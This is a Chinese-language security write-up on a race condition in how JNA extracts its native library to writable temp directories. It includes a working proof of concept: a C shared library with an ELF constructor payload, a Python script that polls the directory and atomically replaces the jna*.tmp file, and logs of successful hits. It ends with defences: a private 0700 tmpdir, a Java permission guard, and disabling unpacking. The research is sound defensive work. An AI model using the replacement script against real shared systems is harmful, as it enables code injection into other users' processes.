JNA 内嵌本地库释放路径污染验证
本文验证了 JNA 在可写目录释放临时 native 库时的路径替换风险,通过轮询目录项并利用 ELF constructor 在动态链接阶段执行恶意代码。文章演示了利用 os.replace 替换 jna*.tmp 文件实现攻击的方法,并提出了固定私有释放目录及关闭运行时解包的防御方案。
JNA 临时解包与路径重绑定风险
JNA 运行时解包 libjnidispatch.so 的动作通常很隐蔽:Java 侧只是首次访问 com.sun.jna.Native,JVM 进程却会在本地文件系统生成一个 jna*.tmp,再把这个路径交给 System.load()。如果 jna.tmpdir 指向共享可写目录,随机文件名只能防止提前占位,不能防止文件出现后的目录项替换。
替换库不需要通过 JNA 的 native version 检查,只要 ELF constructor 已经执行,就说明动态链接阶段已经加载了替换后的文件。
从一次正常初始化看释放路径
准备工作目录并下载 JNA 5.14.0
mkdir -p /tmp/jnaexp
cd /tmp/jnaexp
curl -L -o jna-5.14.0.jar https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.14.0/jna-5.14.0.jar
确认 JAR 内包含 Linux x86-64 平台本地库
jar tf jna-5.14.0.jar | grep 'com/sun/jna/linux-x86-64/libjnidispatch.so'
com.sun.jna.Native 首次初始化时会加载 jnidispatch,访问 Native.POINTER_SIZE 足以触发该流程。
Trigger.java
/**
* 触发 com.sun.jna.Native 类初始化。
*/
public class Trigger {
public static void main(String[] args) {
System.out.println("jna.tmpdir=" + System.getProperty("jna.tmpdir"));
// 访问该字段会触发 Native 类初始化和 jnidispatch 加载。
System.out.println("pointer.size=" + com.sun.jna.Native.POINTER_SIZE);
}
}编译触发类
javac -cp jna-5.14.0.jar -d classes Trigger.java
echo "javac_rc=$?"
开启 JNA 加载日志并运行
java -cp classes:jna-5.14.0.jar -Djna.debug_load.jna=true Trigger > normal.out 2> normal.err
cat normal.out
cat normal.err
com.sun.jna.Native 初始化成功,jnidispatch 已正常加载。
JNA 加载日志

Found library resource at jar:file:表示本地库来自 JAR;Extracting library to给出释放后的临时文件;Trying表示后续按该路径加载。
JNA 从 jna-5.14.0.jar 中找到内嵌的 libjnidispatch.so,将其释放到 /home/nl/.cache/JNA/temp/jna*.tmp,随后通过该临时路径成功加载。
用 ELF constructor 证明加载发生
替换库不需要实现 JNA native API。ELF constructor 会在动态链接阶段执行,早于 JNA 的 getNativeVersion() 检查。marker 文件比 Java 异常更适合作为判断点,因为它直接来自本地库装载时执行的代码。
evil.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
__attribute__((constructor))
static void write_marker(void) {
int fd = open("/tmp/jnaexp/evil-loaded.txt",
O_WRONLY | O_CREAT | O_APPEND,
0644);
if (fd >= 0) {
dprintf(fd,
"constructor executed pid=%ld uid=%ld time=%ld\n",
(long)getpid(),
(long)getuid(),
(long)time(NULL));
close(fd);
}
}编译共享库并确认 ELF 类型
cc -shared -fPIC evil.c -o evil.so
file evil.so
生成的是 Linux x86-64 共享库,类型符合 System.load() / dlopen() 加载条件。
确认 constructor 函数存在
readelf -Ws evil.so | grep write_marker
write_marker 符号存在,证明 marker 写入函数已被编译进 evil.so。
确认 ELF 初始化数组存在
readelf -S evil.so | grep '\.init_array'.init_array 段

write_marker 符号和 .init_array 段同时存在,说明该共享库具备装载时执行代码的条件。后续只要 /tmp/jnaexp/evil-loaded.txt 出现,就能证明替换库已经进入动态链接阶段。
轮询随机临时文件并替换目录项
File.createTempFile() 生成随机文件名,固定名称抢占不可行。更直接的方式是轮询释放目录:发现 jna*.tmp 后,把替换库复制到同目录隐藏文件,再通过 os.replace() 替换目标路径。同一文件系统内的 os.replace() 会替换目录项,正好对应 JNA 写完临时文件后再按路径加载的窗口。
attacker.py
#!/usr/bin/env python3
"""
轮询 JNA 临时释放目录,发现 jna*.tmp 后用指定 ELF 文件替换。
"""
import os
import shutil
import sys
import time
def replace_candidate(path: str, evil_so: str) -> bool:
"""复制替换库到同目录临时文件,再原子替换目标目录项。"""
directory = os.path.dirname(path)
swap_path = os.path.join(directory, f".swap-{os.getpid()}")
try:
shutil.copyfile(evil_so, swap_path)
os.chmod(swap_path, 0o755)
os.replace(swap_path, path)
return True
except OSError:
try:
if os.path.exists(swap_path):
os.unlink(swap_path)
except OSError:
pass
return False
def main() -> int:
if len(sys.argv) != 3:
print("usage: attacker.py <watch_dir> <evil_so>", file=sys.stderr)
return 2
watch_dir = sys.argv[1]
evil_so = sys.argv[2]
deadline = time.time() + 60
hits = 0
while time.time() < deadline:
try:
names = os.listdir(watch_dir)
except FileNotFoundError:
time.sleep(0.001)
continue
for name in names:
if not name.startswith("jna"):
continue
path = os.path.join(watch_dir, name)
if not os.path.isfile(path):
continue
if replace_candidate(path, evil_so):
print(f"replaced {path}", flush=True)
hits += 1
time.sleep(0.02)
time.sleep(0.0005)
print(f"hits {hits}", flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())设置脚本权限并检查语法
chmod +x attacker.py
python3 -m py_compile attacker.py
echo "py_compile_rc=$?"语法检查成功

JNA 写入临时文件时操作的是已打开 inode;System.load() 接收路径字符串,加载时会重新解析路径。只要父目录允许替换目录项,两步之间就存在路径重新绑定的可能。
扩大释放窗口
本地竞态窗口可能很短。为了让实验稳定命中,可以把 JNA JAR 内的 libjnidispatch.so 尾部扩展一段空洞数据,生成慢释放 JAR。
ELF loader 依据 ELF header 和 program header 映射必要段,尾部追加数据通常不改变有效段映射。
extend_jnidispatch.py
#!/usr/bin/env python3
"""
扩展 JNA JAR 内 Linux x86-64 jnidispatch 资源的尾部。
"""
from pathlib import Path
target = Path("jna_slow/com/sun/jna/linux-x86-64/libjnidispatch.so")
# 追加 160 MiB 空洞数据,用于拉长释放写入时间。
with target.open("ab") as f:
f.truncate(f.tell() + 160 * 1024 * 1024)
print(target.stat().st_size)创建 JNA JAR 的解包目录
mkdir jna_slow
cd jna_slow把原始 jna-5.14.0.jar 解包到 jna_slow/
jar xf ../jna-5.14.0.jar
回到实验目录 /tmp/jnaexp,扩展 JAR 内 libjnidispatch.so 的尾部体积
cd ..
python3 extend_jnidispatch.py
把修改后的目录重新打包成 jna-slow.jar(c0f 中的 0 表示不压缩)
jar c0f jna-slow.jar -C jna_slow .
扩展后的本地库字节长度
167906607扩展后的 libjnidispatch.so 文件大小,约 160 MiB。
确认慢释放 JAR 仍包含目标资源
jar tf jna-slow.jar | grep 'com/sun/jna/linux-x86-64/libjnidispatch.so'
这一步不是为了改变 ELF 的功能,而是为了人为拉长 JNA 从 JAR 解包 libjnidispatch.so 到本地 jna*.tmp 的时间窗口。从而扩大后续路径替换竞态窗口,提高实验命中率。
可替换目录中的命中结果
创建一个 0777 且无粘滞位的目录,并通过 -Djna.tmpdir 强制 JNA 使用它。该目录允许其他写入主体替换目录项,正好用于观察路径污染结果。
命令:创建不安全释放目录并确认权限
rm -rf unsafe evil-loaded.txt attack.log victim.out victim.err
mkdir -m 0777 unsafe
ls -ld unsafe
stat -c '%a %U %G %n' unsafe
启动轮询替换脚本
python3 attacker.py /tmp/jnaexp/unsafe /tmp/jnaexp/evil.so > attack.log 2>&1 &
apid=$!
让 JNA 从不安全目录释放并加载本地库
java -cp classes:jna-slow.jar -Djna.tmpdir=/tmp/jnaexp/unsafe -Djna.debug_load.jna=true Trigger > victim.out 2> victim.err
rc=$?
wait "$apid"
汇总退出码、JNA 日志、替换日志和 marker
printf 'rc=%s
' "$rc"
printf '%s
' '--- victim.out'
cat victim.out
printf '%s
' '--- victim.err'
cat victim.err
printf '%s
' '--- attack.log'
cat attack.log
printf '%s
' '--- marker'
cat evil-loaded.txt 2>/dev/null || true成功命中时的结果

- JNA 从
jna-slow.jar中找到内嵌的libjnidispatch.so。 - JNA 将其释放到:
/tmp/jnaexp/unsafe/jna6824871894856462928.tmp- 攻击脚本发现同一个
jna*.tmp文件,并反复执行替换:
replaced /tmp/jnaexp/unsafe/jna6824871894856462928.tmp- JNA 随后执行:
Trying /tmp/jnaexp/unsafe/jna6824871894856462928.tmp此时该路径已经被重新绑定为 evil.so。

evil-loaded.txt中出现:
constructor executed pid=215018 uid=1000 ...说明替换后的 ELF 已经进入动态链接阶段,并执行了 constructor。
- 最后的:
UnsatisfiedLinkError: getNativeVersion()是预期现象,因为 evil.so 没有实现 JNA 的 native API。它不否定攻击成功,反而说明 JNA 已经加载了替换库,随后才在 native 方法解析阶段失败。
marker 文件比 Java 退出码更能说明问题:本地代码已经执行,JNA 只是随后在 native 方法解析阶段失败。
未命中时看哪些证据
竞态实验并不保证每次命中。如果输出 pointer.size=8 且没有 marker 文件,需要先判断是未捕获窗口,还是 JNA 根本没有走预期释放路径。
检查是否使用慢释放 JAR 和指定临时目录
grep -E 'Found library resource|Extracting library to|Trying' victim.err || true
cat attack.log
ls -l evil-loaded.txt 2>/dev/null || true
JNA 从 jna-slow.jar 中释放 libjnidispatch.so 到 /tmp/jnaexp/unsafe/jna*.tmp,并通过该路径成功加载真实 jnidispatch,因此程序正常输出 pointer.size=8 且退出码为 0。攻击脚本日志显示 hits 0,同时 marker 区域为空,说明替换脚本未捕获释放窗口,evil.so 未被加载。
再运行一次
rm -f evil-loaded.txt attack.log victim.out victim.err
python3 attacker.py /tmp/jnaexp/unsafe /tmp/jnaexp/evil.so > attack.log 2>&1 &
apid=$!
java -cp classes:jna-slow.jar -Djna.tmpdir=/tmp/jnaexp/unsafe -Djna.debug_load.jna=true Trigger > victim.out 2> victim.err
rc=$?
wait "$apid"
printf 'rc=%s
' "$rc"
cat attack.log
cat evil-loaded.txt 2>/dev/null || true重新运行后命中


攻击脚本在 JNA 释放 jna*.tmp 后替换了该路径,hits 366 表明替换多次发生,constructor executed 证明替换 ELF 已被加载并执行。由于替换库未实现 JNA 的 native API,Java 进程最终以 rc=1 异常退出。
这类失败分支说明问题具有竞态特征。随机文件名不是防护边界,父目录是否可替换才是关键条件。
私有目录下的行为变化
把 jna.tmpdir 固定到 0700 私有目录,可以阻止其他 uid 列目录、创建文件或替换目录项。相同 Unix 用户仍然拥有该目录,0700 不能阻止同 uid 低信任进程。
创建私有释放目录并确认权限
rm -rf safe evil-loaded.txt attack.log safe.out safe.err
mkdir -m 0700 safe
ls -ld safe
stat -c '%a %U %G %n' safe
使用私有目录运行 JNA 加载流程
java -cp classes:jna-5.14.0.jar -Djna.tmpdir=/tmp/jnaexp/safe -Djna.debug_load.jna=true Trigger > safe.out 2> safe.err
cat safe.out
cat safe.err私有目录下正常加载

700 权限证明跨 uid 写入者不能进入该目录,也无法列出或替换 jna*.tmp。如果 Java 进程和替换脚本使用同一个 Unix 用户,仍然可以替换目录项;这类部署需要账号隔离、插件隔离或进程隔离。
路径重新解析带来的风险点
JNA 释放本地库的关键行为可以拆成两步:
- 从 JAR 资源读取
libjnidispatch.so,写入jna*.tmp。 - 调用
System.load(绝对路径)加载该文件。
写入阶段绑定的是已打开文件对应的 inode;加载阶段重新解析路径字符串。父目录可写时,目录项可以在两步之间指向另一个 inode。
行为顺序与证据如下:
顺序 | 行为 | 可观察证据 |
1 | JNA 创建并写入 |
|
2 | 轮询脚本发现随机文件名 |
|
3 |
|
|
4 | 动态链接器加载替换 ELF |
|
5 | JNA 调用 native version 方法 |
|
问题并不是可信 JAR 直接执行任意本地库,而是可信资源被释放到可替换路径后,加载阶段使用的目录项不再指向原始 inode。
在现有服务中定位释放路径
排查现有服务时,先确认是否发生 JAR 解包,再检查释放路径父目录权限、所有者、挂载来源和同 uid 进程面。
开启 JNA 加载日志
java -cp classes:jna-5.14.0.jar -Djna.debug_load.jna=true Trigger > load.out 2> load.err
cat load.err发生 JAR 解包时的关键日志

保留释放出的临时库并检查父目录权限
java -cp classes:jna-5.14.0.jar -Djnidispatch.preserve=true -Djna.debug_load.jna=true Trigger > preserve.out 2> preserve.err
tmp_path=$(grep -m1 'Extracting library to ' preserve.err | sed 's/^.*Extracting library to //')
parent_dir=$(dirname "$tmp_path")
ls -ld "$parent_dir"
ls -l "$tmp_path"
stat -c '%a %U %G %n' "$parent_dir"释放目录与临时库权限

共享库文件自身是否带可执行位不是核心条件。Linux 动态链接器需要读取 ELF 内容;路径替换风险取决于父目录是否允许低信任主体替换目录项。
部署状态可以按父目录权限和运行身份判断:
目录状态 | 风险判断依据 |
用户私有缓存目录,权限 | 跨 uid 替换通常不可行 |
标准 | 粘滞位限制其他 uid 删除或替换不属于自己的文件 |
自建 | 跨 uid 替换条件可能成立 |
多个任务共用同一 Unix 用户 | 同 uid 替换仍可能成立 |
容器共享宿主机可写挂载 | 需要按宿主机 uid、gid 和挂载权限判断 |
固定可信释放目录并验证
直接的处理方式是在 JVM 启动前创建服务账号私有目录,并固定 jna.tmpdir。
创建服务账号私有 JNA 临时目录
sudo install -d -m 0700 -o nl -g nl /var/lib/myapp/jna-tmp
stat -c '%A %a %U %G %n' /var/lib/myapp/jna-tmp
这里的 0700 表示只有目录所有者 nl 可以进入、列目录和写入,其他用户无法替换其中的 jna*.tmp 文件。
验证固定可信释放目录是否生效
java -cp classes:jna-5.14.0.jar \
-Djna.tmpdir=/var/lib/myapp/jna-tmp \
-Djna.debug_load.jna=true \
Trigger > safe.out 2> safe.err
cat safe.out
cat safe.err
- JNA 确实把 native 库释放到了
/var/lib/myapp/jna-tmp; - 后续也是从这个目录加载;
- 固定释放目录配置生效。
应用入口可以在任何 JNA 类被引用前加入目录权限断言。检查项包括目录存在性、符号链接、POSIX 权限、组写和其他用户写权限。
JnaTmpGuard.java
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.attribute.PosixFileAttributeView;
import java.nio.file.attribute.PosixFileAttributes;
import java.nio.file.attribute.PosixFilePermission;
import java.util.Set;
/**
* 在 JNA 初始化前检查 jna.tmpdir 是否为受控目录。
*/
public final class JnaTmpGuard {
private JnaTmpGuard() {
throw new AssertionError("no instances");
}
public static void verify(Path dir) throws IOException {
Path absolute = dir.toAbsolutePath().normalize();
if (!Files.exists(absolute, LinkOption.NOFOLLOW_LINKS)) {
throw new IllegalStateException("jna.tmpdir does not exist: " + absolute);
}
if (Files.isSymbolicLink(absolute)) {
throw new IllegalStateException("jna.tmpdir must not be a symbolic link: " + absolute);
}
if (!Files.isDirectory(absolute, LinkOption.NOFOLLOW_LINKS)) {
throw new IllegalStateException("jna.tmpdir is not a directory: " + absolute);
}
PosixFileAttributeView view = Files.getFileAttributeView(
absolute,
PosixFileAttributeView.class,
LinkOption.NOFOLLOW_LINKS);
if (view == null) {
throw new IllegalStateException("jna.tmpdir does not expose POSIX permissions: " + absolute);
}
PosixFileAttributes attrs = view.readAttributes();
Set<PosixFilePermission> perms = attrs.permissions();
if (perms.contains(PosixFilePermission.GROUP_WRITE)
|| perms.contains(PosixFilePermission.OTHERS_WRITE)) {
throw new IllegalStateException("jna.tmpdir is group/world writable: " + absolute);
}
if (!Files.isWritable(absolute)) {
throw new IllegalStateException("jna.tmpdir is not writable by current process: " + absolute);
}
}
}Main.java
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.PosixFilePermissions;
/**
* 在业务代码或第三方库触发 JNA 前,固定并校验 jna.tmpdir。
*/
public final class Main {
public static void main(String[] args) throws Exception {
Path jnaTmp = Path.of("/tmp/jnaexp/app-jna-tmp");
if (!Files.exists(jnaTmp)) {
Files.createDirectories(jnaTmp,
PosixFilePermissions.asFileAttribute(
PosixFilePermissions.fromString("rwx------")));
}
System.setProperty("jna.tmpdir", jnaTmp.toString());
JnaTmpGuard.verify(jnaTmp);
// 显式触发 JNA 初始化,使目录配置错误尽早暴露。
Class.forName("com.sun.jna.Native");
System.out.println("JNA initialized with " + System.getProperty("jna.tmpdir"));
}
}编译并运行入口检查
javac -cp jna-5.14.0.jar -d classes JnaTmpGuard.java Main.java
java -cp classes:jna-5.14.0.jar Main私有目录检查通过

把目录改成 world-writable 后验证检查失败
chmod 0777 /tmp/jnaexp/app-jna-tmp
java -cp classes:jna-5.14.0.jar Main目录权限检查失败

这段入口检查可以拦截常见误配置:jna.tmpdir 指向组写、其他用户可写、符号链接或非目录路径。更严格的部署还需要检查父路径是否受控、目录是否位于共享挂载、服务账号下是否存在低信任同 uid 进程。
关闭运行时解包回退
对高安全要求场景,可以预置与 JNA 版本匹配的 libjnidispatch.so,从可信只读路径加载,并关闭 classpath 解包。
从可信本地库目录加载 jnidispatch
java -Djna.boot.library.path=/opt/myapp/native -Djna.nounpack=true -Djna.noclasspath=true -jar app.jar配置含义:
JVM 参数 | 作用 |
| 指定可信本地库目录 |
| 禁止从 JAR 解包本地库 |
| 禁止从 classpath 查找本地库资源 |
jna.jar 与 libjnidispatch.so 必须版本匹配。可信本地库目录应由受控部署流程写入,运行期服务进程只需要读取权限。可信路径加载失败时,进程应直接失败,避免回退到不可信临时释放路径。
结论
- JNA 内嵌本地库释放路径风险的核心不在 JAR 是否可信,也不在临时文件名是否随机,而在释放目录是否允许低信任主体替换目录项。
- JNA
Extracting library to日志证明释放路径,轮询脚本日志证明目录项被替换,evil-loaded.txt证明替换库 constructor 执行,UnsatisfiedLinkError证明 JNA 已进入替换库加载后的 native 检查阶段。 - 处理重点应放在释放目录可信性上:固定
jna.tmpdir到服务账号私有0700目录,避免共享写入挂载和同 uid 低信任进程;高安全要求场景预置版本匹配的libjnidispatch.so,通过jna.boot.library.path从可信只读路径加载,并使用jna.nounpack=true、jna.noclasspath=true关闭运行时解包回退。